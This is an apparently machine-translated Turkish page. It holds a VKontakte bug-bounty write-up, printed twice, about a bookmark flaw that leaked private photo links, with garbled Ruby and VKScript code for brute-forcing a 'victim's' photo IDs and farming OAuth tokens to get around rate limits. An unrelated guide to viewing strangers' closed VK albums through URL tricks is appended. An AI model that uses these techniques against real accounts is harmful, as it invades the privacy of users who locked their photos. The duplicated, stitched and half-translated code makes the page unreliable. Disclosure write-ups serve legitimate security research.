• Vk özel. VK güvenlik açığı: herhangi bir kullanıcının diyaloglarından ve gizli albümlerinden fotoğraf önizlemelerine erişim. VKontakte'de özel fotoğraflar ve albümler nasıl görüntülenir?

    tl; dr

    VK yer imlerinde, kişisel mesajlardan, herhangi bir kullanıcının/grubun albümlerinden özel fotoğraflara doğrudan bağlantılar alınmasını mümkün kılan bir güvenlik açığı keşfedildi. Belirli bir süre boyunca kullanıcının fotoğrafları üzerinden sıralanan ve ardından bu güvenlik açığı aracılığıyla görüntülere doğrudan bağlantılar alan bir komut dosyası yazıldı. Kısacası dünkü tüm fotoğraflarınızı 1 dakikada, geçen hafta yüklediğiniz tüm fotoğrafları 7 dakikada, geçen ay 20 dakikada, geçen yılki tüm fotoğrafları 2 saatte almak mümkündü. Güvenlik açığı şimdi giderildi. VKontakte yönetimi 10 bin oyluk bir ödül ödedi.


    Hikaye, bana VKontakte'de kişisel bir mesajla gönderilen bir resimle başladı. Genellikle, bir şey önemliyse, onu buluta yüklerim, ancak benim durumumda bu gerekli değildi ve Vkontakte yer imleri işlevini kullanmaya karar verdim.

    Kısaca bu işlevsellik hakkında: kullanıcının sevdiği her şey yer imlerine eklenir; ayrıca kullanıcıya manuel olarak bir bağlantı ve "VKontakte" dahili bağlantısı ekleme işlevi de vardır. Son nokta bana çok ilginç geldi, çünkü fotoğrafa bir bağlantı ekledikten sonra, eklenen varlığın türüyle birlikte önizlemesini ve metnini gördüm:

    Bir bağlantı eklendiğinde, sunucu onu ayrıştırır, hangi varlığa atıfta bulunduğunu bulmaya çalışır ve bu nesne hakkında veri tabanından bilgi alır. Kural olarak, bu tür bir işlevi birçok koşulla yazarken, geliştiricinin bir şeyi unutma olasılığı çok yüksektir. Bu nedenle, geçmeyi göze alamadım ve biraz deney yapmak için birkaç dakika ayırmaya karar verdim.

    Sonuç olarak, bir şey bulmayı başardım. Erişilemeyen bir fotoğrafa, nota veya videoya bağlantı eklerken, nesne hakkında bazı özel bilgilere ulaşmak mümkündü. Fotoğraf ve videolar söz konusu olduğunda, bu, üzerinde herhangi bir şey görmenin oldukça zor olduğu küçük (150x150) bir önizlemedir, özel notlar için başlık görüntülenmiştir. API Yöntemi ile favori.getLinks görüntüye bağlantılar elde etmek mümkündü, ancak yine çok küçük (75 piksel ve 130 piksel). Yani temelde ciddi bir şey yok.

    Her şeyin normal sürümdeki gibi görüntülenip görüntülenmediğini kontrol etmek için sitenin mobil sürümüne gitmeye karar verdim. Sayfanın koduna baktığımda şunu gördüm:

    Evet! özellik değerinde veri-src_big orijinal görüntüye doğrudan bir bağlantı kaydedildi!

    Böylece, nereye yüklendiğine ve hangi gizlilik ayarlarına sahip olduğuna bakılmaksızın, Vkontakte'deki herhangi bir görsele doğrudan bağlantı almak mümkün oldu. Herhangi bir kullanıcının/grubun özel mesajlarından bir resim veya özel albümlerinden bir fotoğraf olabilir.

    Görünüşe göre burada durup geliştiricilere yazılabilir, ancak bu güvenlik açığından yararlanarak kullanıcının tüm (iyi veya belirli bir süre içinde yüklenmiş) fotoğraflarına erişmenin mümkün olup olmadığını merak ettim. Buradaki asıl sorun, anladığınız gibi, türün özel bir fotoğrafının bağlantısının her zaman bilinmemesiydi. fotoğrafXXXXXX_XXXXXXX yer imi için Fotoğrafın kimliği üzerinden sıralama yapma fikri aklıma geldi ama nedense deli diye hemen reddettim. API'deki fotoğraflarla ilişkili yöntemleri kontrol ettim, uygulamanın albümlerle nasıl çalıştığına baktım, ancak kullanıcının tüm özel fotoğraflarının kimliklerini içeren bir liste almama yardımcı olabilecek herhangi bir sızıntı bulamadım. Zaten bu fikirden vazgeçmek istiyordum ama fotoğraflı bağlantıya tekrar baktığımda aniden bunun iyi bir fikir olduğunu anladım.

    Fotoğraflar VK'da nasıl çalışır?

    Nasıl değiştirirsin, fotoğrafa bağlantı fotoğraf52708106_359542386 iki bölümden oluşur: (kullanıcı kimliği)_(garip bir numara). İkinci kısım nasıl oluşuyor?

    Ne yazık ki, iki saat deney yaptıktan sonra bunu hala anlamadım. 2012'de HighLoad++'da Oleg Illarionov, fotoğrafları nasıl depoladıkları, yatay parçalama ve yükleme için bir sunucunun rastgele seçimi hakkında birkaç söz söyledi, ancak sunucu kimliği ile fotoğraf kimliği arasında bağlantı olmadığı için bu bilgi bana hiçbir şey vermedi. Belli bir küresel sayaç olduğu açık, ancak orada başka bir mantık var ... Çünkü ikinci sayı olağan otomatik artış kullanılarak oluşturulmuş olsaydı, fotoğraflı kimliklerin değerleri uzun zaman önce çok büyük değerlere ulaşmış olurdu (örneğin, şu anda Facebook'ta ~ 700 trilyon), ancak Vkontakte'de bu değer yalnızca ~ 400 milyon (yine de istatistiklere bakılırsa, günlük kullanıcılar 30 milyondan fazla fotoğraf yükler). Onlar. bu rakamın benzersiz olmadığı açıktır, ancak rastgele de değildir. "Eski" kullanıcıların fotoğraflarından geçen bir senaryo yazdım ve alınan verilere dayanarak bu rakamın her kullanıcıyla ne kadar değiştiğini gösteren bir grafik çizdim. yıl:

    Bazı faktörlere (sunucu sayısı mı yoksa yeni mantık mı?) bağlı olarak değerlerin sıçradığı görülebilir. Ancak sonuç olarak oldukça küçüktürler (özellikle son 2-3 yıldır) ve istenen zaman dilimi için id aralığını hesaplamak çok kolaydır. Yani, örneğin geçen yıl için kullanıcı fotoğraflarına doğrudan bağlantılar bulmak için, yalnızca 30 milyon (_320000000'den _350000000'e) farklı bağlantı varyasyonlarına yer işareti koymaya çalışmanız gerekir! Aşağıda, bunu birkaç dakika içinde yapmamı sağlayan kaba kuvvet tekniğini anlattım.

    Fotoğraflar arasında sıralama

    Tüm bunları arayüz aracılığıyla manuel olarak eklemek veya yer imlerine bir bağlantı ekleyen bir komut dosyası yazmak mümkündü, ancak bu sıkıcı ve uzun olurdu. Bu durumda arama hızı saniyede 3 yer imi olacaktır, çünkü Vkontakte sunucusuna saniyede üçten fazla istek gönderin yasaktır.

    Aramayı hızlandırın x25

    3 istek sınırını biraz aşmak için yöntemi kullanmaya karar verdim. uygulamak. Bu yönteme yapılan bir çağrıda, API yöntemlerine 25 çağrı yapılabilir.

    Var start = parseInt(Args.start); varend = parseInt(Args.end); var kurban kimliği = Args.id; var link = "http://vk.com/photo" + kurban kimliği + "_"; while(başlangıç ​​!= bitiş) ( API.fave.addLink(( "bağlantı": bağlantı + başlangıç ​​)); başlangıç ​​= başlangıç ​​+ 1; );
    Böylece kaba kuvvet hızını 3*25 yer imi/sn'ye kadar artırmak mümkün oldu. Geçen yıl boyunca, fotoğraflar uzun süre sıralanırdı, ancak kısa süreler için bu sıralama yöntemi zaten oldukça iyiydi.

    Yinelemeyi hızlandırın x25 * saniyedeki eşzamanlı istek sayısı

    İstek / sn sayısındaki sınır, tüm kullanıcı için değil, her uygulama için ayrı ayrı geçerlidir. Bu nedenle, birçok isteği paralel olarak göndermenizi, ancak aynı zamanda içlerindeki farklı uygulamalardan belirteçleri kullanmanızı hiçbir şey engellemez.

    Başlangıç ​​​​olarak, gerekli sayıda uygulamayı bulmak (veya oluşturmak) gerekliydi. Belirli bir uygulama kimliği aralığında bağımsız uygulamaları arayan bir komut dosyası yazılmıştır:

    Class StandaloneAppsFinder attr_reader:app_ids tanımla başlat(paramlar) @aralık = parametreler[:aralık içinde] @app_ids = tanımlı aramayı bitir (@aralık).her do |app_id| yanıt = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read uygulama = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
    Daha fazla numaralandırmayı daha da hızlandırmak için uygulamaları kullanıcı sayısına göre seçmek de mümkündü:

    Ama bununla uğraşmamaya karar verdim.

    Tamam, uygulamalar bulundu, şimdi kullanıcı verilerimize izin vermeleri ve token almaları gerekiyor. Yetkilendirme için Örtülü Akış mekanizmasını kullanmam gerekiyordu. Yetkilendirme URL'sini OAuth iletişim kutusundan ayrıştırmam ve yönlendirmeden sonra belirteci çıkarmam gerekiyordu. Bu sınıfın çalışması için çerezler gereklidir. p, ben(login.vk.com) ve remix-sid(vk.com):

    Sınıf Kimlik Doğrulayıcı attr_reader:access_tokens def Initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) yönlendirme_url = open(auth_url, @cookies).base_uri.to_s erişim_belirteçleri<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
    Ne kadar çok uygulama bulunursa, o kadar çok paralel istek bulunur. Tüm bunları paralel hale getirmek için, diğer görevlerde kendini kanıtlamış olan Typhoeus taşını kullanmaya karar verildi. Çok küçük bir bruteforcer çıktı:

    Sınıf PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ("bugün" => 366300000..366500000, "dün" => 366050000..366300000, "geçerli_ay" => 365000000..366500000, "son_ay" => 3600000 0 0..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 ) def başlangiç(paramlar) @victim_id = parametreler[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(token) s) hidra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? hydra.queued_requests.count.zero olmadıkça hydra.run sonlandırılsın mı? özel tanımlamayı sonlandır vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
    Kaba kuvveti daha da hızlandırmak için yanıtta gereksiz bir vücuttan kurtulma girişimi oldu, ancak KAFA istek sunucusu "Vkontakte" bir hata veriyor 501 uygulanmadı.

    Komut dosyasının son hali şöyle görünür:

    "nokogiri" gerektirir "open-uri" gerektirir "typhoeus" gerektirir "json" gerektirir "./standalone_apps_finder" gerektirir "./photos_bruteforcer" gerektirir "./authenticator" gerektirir bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, dönem: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4) 8 00500) apps_finder.search # p,l - login.vk.com'dan çerezler # remixsid - vk.com'dan çerezler
    Programı çalıştırdıktan sonra, belirli bir süre için kullanıcının tüm fotoğrafları yer imlerindeydi. Geriye yalnızca Vkontakte'nin mobil sürümüne gitmek, tarayıcı konsolunu açmak, doğrudan bağlantıları çıkarmak ve fotoğrafların orijinal boyutlarında keyfini çıkarmak kaldı.

    Sonuçlar

    Genel olarak, hepsi İnternet bağlantınıza ve proxy sunucularının hızına, Vkontakte sunucularının gecikme süresine, işlemci gücüne ve diğer birçok faktöre bağlıdır. Yukarıdaki komut dosyasını hesabımda test ettikten sonra aşağıdaki sayıları aldım (belirteç almak için harcanan süre hariç):

    Tablo, belirli bir dönemde fotoğraflı kimlikleri denemek için geçen ortalama süreyi gösterir. Eminim tüm bunlar 10-20 kat hızlandırılabilir. Örneğin, bir kaba kuvvet komut dosyasında, tüm istekler için büyük bir sıra oluşturun ve bunlar arasında normal senkronizasyon yapın, çünkü benim uygulamamda, zaman aşımı olan bir istek tüm süreci yavaşlatacaktır. Her neyse, birkaç EC2 bulut sunucusu satın alabilir ve herhangi bir kullanıcının tüm fotoğraflarını bir saat içinde alabilirsiniz. Ama ben zaten uyumak istiyordum.

    Ve genel olarak, saldırganın 5 saat veya tüm gün üzerinde ne kadar zaman harcadığı önemli değil, çünkü öyle ya da böyle, özel görüntülere bağlantılar alacak. Özel bilgilere sınırlı bir süre içinde ironik bir şekilde erişme yeteneği, bu güvenlik açığının oluşturduğu ana tehdittir.

    Güvenlik Açığı Bildirme

    İlk başta rapor destek servisine gönderildi, ancak "teşekkürler, muhtemelen bir şekilde düzelteceğiz ..." gibi bir yanıt ve bir haftalık bekleyişten sonra bir şey benim için üzülmeye başladı. Geliştiricilerle doğrudan iletişime geçmemize yardımcı olduğunuz için çok teşekkür ederiz. Ardından birkaç saat içinde buglar kapatıldı ve birkaç gün sonra yönetim 10k ödülü hesabıma aktardı.

    tl; dr

    VK yer imlerinde, kişisel mesajlardan, herhangi bir kullanıcının/grubun albümlerinden özel fotoğraflara doğrudan bağlantılar alınmasını mümkün kılan bir güvenlik açığı keşfedildi. Belirli bir süre boyunca kullanıcının fotoğrafları üzerinden sıralanan ve ardından bu güvenlik açığı aracılığıyla görüntülere doğrudan bağlantılar alan bir komut dosyası yazıldı. Kısacası dünkü tüm fotoğraflarınızı 1 dakikada, geçen hafta yüklediğiniz tüm fotoğrafları 7 dakikada, geçen ay 20 dakikada, geçen yılki tüm fotoğrafları 2 saatte almak mümkündü. Güvenlik açığı şimdi giderildi. VKontakte yönetimi 10 bin oyluk bir ödül ödedi.


    Hikaye, bana VKontakte'de kişisel bir mesajla gönderilen bir resimle başladı. Genellikle, bir şey önemliyse, onu buluta yüklerim, ancak benim durumumda bu gerekli değildi ve Vkontakte yer imleri işlevini kullanmaya karar verdim.

    Kısaca bu işlevsellik hakkında: kullanıcının sevdiği her şey yer imlerine eklenir; ayrıca kullanıcıya manuel olarak bir bağlantı ve "VKontakte" dahili bağlantısı ekleme işlevi de vardır. Son nokta bana çok ilginç geldi, çünkü fotoğrafa bir bağlantı ekledikten sonra, eklenen varlığın türüyle birlikte önizlemesini ve metnini gördüm:

    Bir bağlantı eklendiğinde, sunucu onu ayrıştırır, hangi varlığa atıfta bulunduğunu bulmaya çalışır ve bu nesne hakkında veri tabanından bilgi alır. Kural olarak, bu tür bir işlevi birçok koşulla yazarken, geliştiricinin bir şeyi unutma olasılığı çok yüksektir. Bu nedenle, geçmeyi göze alamadım ve biraz deney yapmak için birkaç dakika ayırmaya karar verdim.

    Sonuç olarak, bir şey bulmayı başardım. Erişilemeyen bir fotoğrafa, nota veya videoya bağlantı eklerken, nesne hakkında bazı özel bilgilere ulaşmak mümkündü. Fotoğraf ve videolar söz konusu olduğunda, bu, üzerinde herhangi bir şey görmenin oldukça zor olduğu küçük (150x150) bir önizlemedir, özel notlar için başlık görüntülenmiştir. API Yöntemi ile favori.getLinks görüntüye bağlantılar elde etmek mümkündü, ancak yine çok küçük (75 piksel ve 130 piksel). Yani temelde ciddi bir şey yok.

    Her şeyin normal sürümdeki gibi görüntülenip görüntülenmediğini kontrol etmek için sitenin mobil sürümüne gitmeye karar verdim. Sayfanın koduna baktığımda şunu gördüm:

    Evet! özellik değerinde veri-src_big orijinal görüntüye doğrudan bir bağlantı kaydedildi!

    Böylece, nereye yüklendiğine ve hangi gizlilik ayarlarına sahip olduğuna bakılmaksızın, Vkontakte'deki herhangi bir görsele doğrudan bağlantı almak mümkün oldu. Herhangi bir kullanıcının/grubun özel mesajlarından bir resim veya özel albümlerinden bir fotoğraf olabilir.

    Görünüşe göre burada durup geliştiricilere yazılabilir, ancak bu güvenlik açığından yararlanarak kullanıcının tüm (iyi veya belirli bir süre içinde yüklenmiş) fotoğraflarına erişmenin mümkün olup olmadığını merak ettim. Buradaki asıl sorun, anladığınız gibi, türün özel bir fotoğrafının bağlantısının her zaman bilinmemesiydi. fotoğrafXXXXXX_XXXXXXX yer imi için Fotoğrafın kimliği üzerinden sıralama yapma fikri aklıma geldi ama nedense deli diye hemen reddettim. API'deki fotoğraflarla ilişkili yöntemleri kontrol ettim, uygulamanın albümlerle nasıl çalıştığına baktım, ancak kullanıcının tüm özel fotoğraflarının kimliklerini içeren bir liste almama yardımcı olabilecek herhangi bir sızıntı bulamadım. Zaten bu fikirden vazgeçmek istiyordum ama fotoğraflı bağlantıya tekrar baktığımda aniden bunun iyi bir fikir olduğunu anladım.

    Fotoğraflar VK'da nasıl çalışır?

    Nasıl değiştirirsin, fotoğrafa bağlantı fotoğraf52708106_359542386 iki bölümden oluşur: (kullanıcı kimliği)_(garip bir numara). İkinci kısım nasıl oluşuyor?

    Ne yazık ki, iki saat deney yaptıktan sonra bunu hala anlamadım. 2012'de HighLoad++'da Oleg Illarionov, fotoğrafları nasıl depoladıkları, yatay parçalama ve yükleme için bir sunucunun rastgele seçimi hakkında birkaç söz söyledi, ancak sunucu kimliği ile fotoğraf kimliği arasında bağlantı olmadığı için bu bilgi bana hiçbir şey vermedi. Belli bir küresel sayaç olduğu açık, ancak orada başka bir mantık var ... Çünkü ikinci sayı olağan otomatik artış kullanılarak oluşturulmuş olsaydı, fotoğraflı kimliklerin değerleri uzun zaman önce çok büyük değerlere ulaşmış olurdu (örneğin, şu anda Facebook'ta ~ 700 trilyon), ancak Vkontakte'de bu değer yalnızca ~ 400 milyon (yine de istatistiklere bakılırsa, günlük kullanıcılar 30 milyondan fazla fotoğraf yükler). Onlar. bu rakamın benzersiz olmadığı açıktır, ancak rastgele de değildir. "Eski" kullanıcıların fotoğraflarından geçen bir senaryo yazdım ve alınan verilere dayanarak bu rakamın her kullanıcıyla ne kadar değiştiğini gösteren bir grafik çizdim. yıl:

    Bazı faktörlere (sunucu sayısı mı yoksa yeni mantık mı?) bağlı olarak değerlerin sıçradığı görülebilir. Ancak sonuç olarak oldukça küçüktürler (özellikle son 2-3 yıldır) ve istenen zaman dilimi için id aralığını hesaplamak çok kolaydır. Yani, örneğin geçen yıl için kullanıcı fotoğraflarına doğrudan bağlantılar bulmak için, yalnızca 30 milyon (_320000000'den _350000000'e) farklı bağlantı varyasyonlarına yer işareti koymaya çalışmanız gerekir! Aşağıda, bunu birkaç dakika içinde yapmamı sağlayan kaba kuvvet tekniğini anlattım.

    Fotoğraflar arasında sıralama

    Tüm bunları arayüz aracılığıyla manuel olarak eklemek veya yer imlerine bir bağlantı ekleyen bir komut dosyası yazmak mümkündü, ancak bu sıkıcı ve uzun olurdu. Bu durumda arama hızı saniyede 3 yer imi olacaktır, çünkü Vkontakte sunucusuna saniyede üçten fazla istek gönderin yasaktır.

    Aramayı hızlandırın x25

    3 istek sınırını biraz aşmak için yöntemi kullanmaya karar verdim. uygulamak. Bu yönteme yapılan bir çağrıda, API yöntemlerine 25 çağrı yapılabilir.

    Var start = parseInt(Args.start); varend = parseInt(Args.end); var kurban kimliği = Args.id; var link = "http://vk.com/photo" + kurban kimliği + "_"; while(başlangıç ​​!= bitiş) ( API.fave.addLink(( "bağlantı": bağlantı + başlangıç ​​)); başlangıç ​​= başlangıç ​​+ 1; );
    Böylece kaba kuvvet hızını 3*25 yer imi/sn'ye kadar artırmak mümkün oldu. Geçen yıl boyunca, fotoğraflar uzun süre sıralanırdı, ancak kısa süreler için bu sıralama yöntemi zaten oldukça iyiydi.

    Yinelemeyi hızlandırın x25 * saniyedeki eşzamanlı istek sayısı

    İstek / sn sayısındaki sınır, tüm kullanıcı için değil, her uygulama için ayrı ayrı geçerlidir. Bu nedenle, birçok isteği paralel olarak göndermenizi, ancak aynı zamanda içlerindeki farklı uygulamalardan belirteçleri kullanmanızı hiçbir şey engellemez.

    Başlangıç ​​​​olarak, gerekli sayıda uygulamayı bulmak (veya oluşturmak) gerekliydi. Belirli bir uygulama kimliği aralığında bağımsız uygulamaları arayan bir komut dosyası yazılmıştır:

    Class StandaloneAppsFinder attr_reader:app_ids tanımla başlat(paramlar) @aralık = parametreler[:aralık içinde] @app_ids = tanımlı aramayı bitir (@aralık).her do |app_id| yanıt = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read uygulama = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
    Daha fazla numaralandırmayı daha da hızlandırmak için uygulamaları kullanıcı sayısına göre seçmek de mümkündü:

    Ama bununla uğraşmamaya karar verdim.

    Tamam, uygulamalar bulundu, şimdi kullanıcı verilerimize izin vermeleri ve token almaları gerekiyor. Yetkilendirme için Örtülü Akış mekanizmasını kullanmam gerekiyordu. Yetkilendirme URL'sini OAuth iletişim kutusundan ayrıştırmam ve yönlendirmeden sonra belirteci çıkarmam gerekiyordu. Bu sınıfın çalışması için çerezler gereklidir. p, ben(login.vk.com) ve remix-sid(vk.com):

    Sınıf Kimlik Doğrulayıcı attr_reader:access_tokens def Initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) yönlendirme_url = open(auth_url, @cookies).base_uri.to_s erişim_belirteçleri<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
    Ne kadar çok uygulama bulunursa, o kadar çok paralel istek bulunur. Tüm bunları paralel hale getirmek için, diğer görevlerde kendini kanıtlamış olan Typhoeus taşını kullanmaya karar verildi. Çok küçük bir bruteforcer çıktı:

    Sınıf PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ("bugün" => 366300000..366500000, "dün" => 366050000..366300000, "geçerli_ay" => 365000000..366500000, "son_ay" => 3600000 0 0..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 ) def başlangiç(paramlar) @victim_id = parametreler[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(token) s) hidra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? hydra.queued_requests.count.zero olmadıkça hydra.run sonlandırılsın mı? özel tanımlamayı sonlandır vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
    Kaba kuvveti daha da hızlandırmak için yanıtta gereksiz bir vücuttan kurtulma girişimi oldu, ancak KAFA istek sunucusu "Vkontakte" bir hata veriyor 501 uygulanmadı.

    Komut dosyasının son hali şöyle görünür:

    "nokogiri" gerektirir "open-uri" gerektirir "typhoeus" gerektirir "json" gerektirir "./standalone_apps_finder" gerektirir "./photos_bruteforcer" gerektirir "./authenticator" gerektirir bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, dönem: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4) 8 00500) apps_finder.search # p,l - login.vk.com'dan çerezler # remixsid - vk.com'dan çerezler
    Programı çalıştırdıktan sonra, belirli bir süre için kullanıcının tüm fotoğrafları yer imlerindeydi. Geriye yalnızca Vkontakte'nin mobil sürümüne gitmek, tarayıcı konsolunu açmak, doğrudan bağlantıları çıkarmak ve fotoğrafların orijinal boyutlarında keyfini çıkarmak kaldı.

    Sonuçlar

    Genel olarak, hepsi İnternet bağlantınıza ve proxy sunucularının hızına, Vkontakte sunucularının gecikme süresine, işlemci gücüne ve diğer birçok faktöre bağlıdır. Yukarıdaki komut dosyasını hesabımda test ettikten sonra aşağıdaki sayıları aldım (belirteç almak için harcanan süre hariç):

    Tablo, belirli bir dönemde fotoğraflı kimlikleri denemek için geçen ortalama süreyi gösterir. Eminim tüm bunlar 10-20 kat hızlandırılabilir. Örneğin, bir kaba kuvvet komut dosyasında, tüm istekler için büyük bir sıra oluşturun ve bunlar arasında normal senkronizasyon yapın, çünkü benim uygulamamda, zaman aşımı olan bir istek tüm süreci yavaşlatacaktır. Her neyse, birkaç EC2 bulut sunucusu satın alabilir ve herhangi bir kullanıcının tüm fotoğraflarını bir saat içinde alabilirsiniz. Ama ben zaten uyumak istiyordum.

    Ve genel olarak, saldırganın 5 saat veya tüm gün üzerinde ne kadar zaman harcadığı önemli değil, çünkü öyle ya da böyle, özel görüntülere bağlantılar alacak. Özel bilgilere sınırlı bir süre içinde ironik bir şekilde erişme yeteneği, bu güvenlik açığının oluşturduğu ana tehdittir.

    Güvenlik Açığı Bildirme

    İlk başta rapor destek servisine gönderildi, ancak “teşekkürler, muhtemelen bir şekilde düzelteceğiz…” gibi bir yanıt ve bir haftalık bekleyişten sonra bir şey beni üzdü. Geliştiricilerle doğrudan iletişime geçmemize yardımcı olan Bo0oM'ye çok teşekkürler. Ardından birkaç saat içinde buglar kapatıldı ve birkaç gün sonra yönetim 10k ödülü hesabıma aktardı.

    75 360 158 2

    Çoğu zaman, kapalı bir VK profilinin fotoğraflarına bakmanın umutsuzca gerekli olduğu görülür. Bildiğiniz gibi, herhangi bir kullanıcının profilinin gizlilik düzeyini bağımsız olarak seçme fırsatı vardır, bu nedenle tüm albümü veya tek tek fotoğrafları kapatmak birkaç tıklama meselesidir. Kapalı fotoğraflara bakabileceğiniz ortaya çıktı! Bugün size anlatacağımız bazı hileler ve "delikler" var.

    Hepsinin anında kapandığını unutmayın, bu nedenle bunun, diğer herhangi bir yöntem gibi, bir hafta veya bir ay içinde geçerli olacağı bir gerçek değildir.

    İhtiyacın olacak:

    Açık kaynak kodu

    Önce dene. Albümler açılmazsa aşağıdaki gibi ilerleyin. Yani fotoğraflarını görmek istediğimiz kişinin profilini açın. Ardından, bu sayfayı kaynak olarak açmamız gerekiyor.

    Bunu yapmak için boş bir alana sağ tıklayın ve içerik menüsünde "Sayfa kaynak kodunu görüntüle", "Öğe kodunu görüntüle" veya benzerlerini arayın. Ayrıca, Google Chrome'unuz varsa F12 tuşunu da kullanabilirsiniz. Yani önümüzde sayfanın kaynak kodu var. Sıradaki ne?

    Doğru parçayı arıyorum

    Ctrl + F tuş bileşimini kullanarak arama çubuğunu açın ve buraya "albümler" kelimesini girin.

    Birkaç sonuç olacak, ancak ardından rakamlar gelecek bir sonuca ihtiyacımız var (bu, profil kimliğidir). Kural olarak, sayıda bu parça baştan üçüncü olacak. Kurmak? Harika, Ctrl + C klavye kısayolunu kullanarak kopyalayın.

    Adres çubuğuyla çalışma

    Böylece gerekli kod parçasına sahibiz. Sıradaki ne? Gizli fotoğrafları Vkontakte'de görüntülemek için gerekli sayfaya dönün (artık kaynak kodlu sayfaya ihtiyacımız yok).

    Tarayıcının adres çubuğunda vk.com/id##### gibi bir bağlantı görüyoruz, burada #### sayfa kimliğidir. Bilmeniz gerekir ve arkadaşlar. İmleci adres çubuğunun sonuna getiriyoruz ve içine karakterleri giriyoruz: “?z =", ardından aradığımız sayfanın kaynak kodundaki parçayı buraya kopyalıyoruz.

    Sonuç olarak, tarayıcının adres çubuğu şunları içermelidir: vk.com/id####?z=albums####, burada #### kişinin kimliğidir.

    Enter'a basıyoruz ve bir kişinin tüm fotoğrafları önümüzde açılıyor.

    Bu kadar basit bir şekilde, bir kişideki kapalı bir albümdeki fotoğrafları görüntüleyebilir, ayrıca Vkontakte arkadaşlarından veya tanıdık olmayan kullanıcılardan emekli olan kişilerin albümlerinin bir listesini görebilirsiniz.

    Sıkça Sorulan Sorular

      Telefondan özel bir VK kullanıcı albümü nasıl izlenir?

      Görüntüleme talimatları bir bilgisayardaki ile aynıdır.

      VKontakte'nin gizli özellikleri nelerdir?

      1. "Ayarlar" bölümüne giderseniz ve "Genel" sekmesinde dili devrim öncesi veya Sovyet olarak değiştirirseniz, Vkontakte arayüzü biraz değişecektir.
      2. Kişisel sayfanızda sizinle ilgili bazı bilgilerin boş kalmasını istiyorsanız bu alanlara bir kod ekleyiniz.
      3. "İş yeri" sütununda herhangi bir Vkontakte grubuna aktif bir bağlantı oluşturabilirsiniz. Bunu yapmak için "Düzenle" bölümüne gidin, "Kariyer" sekmesini seçin ve "İş yeri" öğesine üyesi olduğunuz topluluğun adını yazın.
      4. "Ayarlar" bölümünde id kısa ve akılda kalıcı bir adres olarak değiştirilebilir.

      Temas halindeki gizli fotoğrafları görüntülemek için hangi hizmet?

      İşaretlendiği bir kişinin fotoğrafını bulmanız, ardından hızlandırılmış görüntülemeye gitmeniz ve fotoğrafta gezinmeniz gerekir. Bunlara normal erişimin kapalı olmasına rağmen, bunları görmek mümkün olacaktır. Teknik servis henüz bu “deliği” ortadan kaldıramamıştır.

      VK'da kapalı bir hesap nasıl görülür?

      Özel bir profili görüntülemek için şunlara ihtiyacınız vardır:
      1. Profil kimliğini öğrenin. fareyi "Arkadaşların ADI" üzerine getirin. Bağlantıyı kopyalıyoruz.
      2. *[bağlantı proje yönetiminin kararıyla engellendi].
      3. "id=" den sonraki sayılar profil kimliğidir.
      Bu numaraları kopyalayın ve gerekli bağlantılara yapıştırın.

      VKontakte fotoğraflarını kimler görebilir?

      Fotoğraflarınıza kime erişim izni verdiğinize bağlı olarak.

      Bir kişideki tüm fotoğrafları nasıl görebilirim?

      Bu bilgi makalede açıklanmıştır.

      Temasta bir grup fotoğrafını nasıl görebilirim?

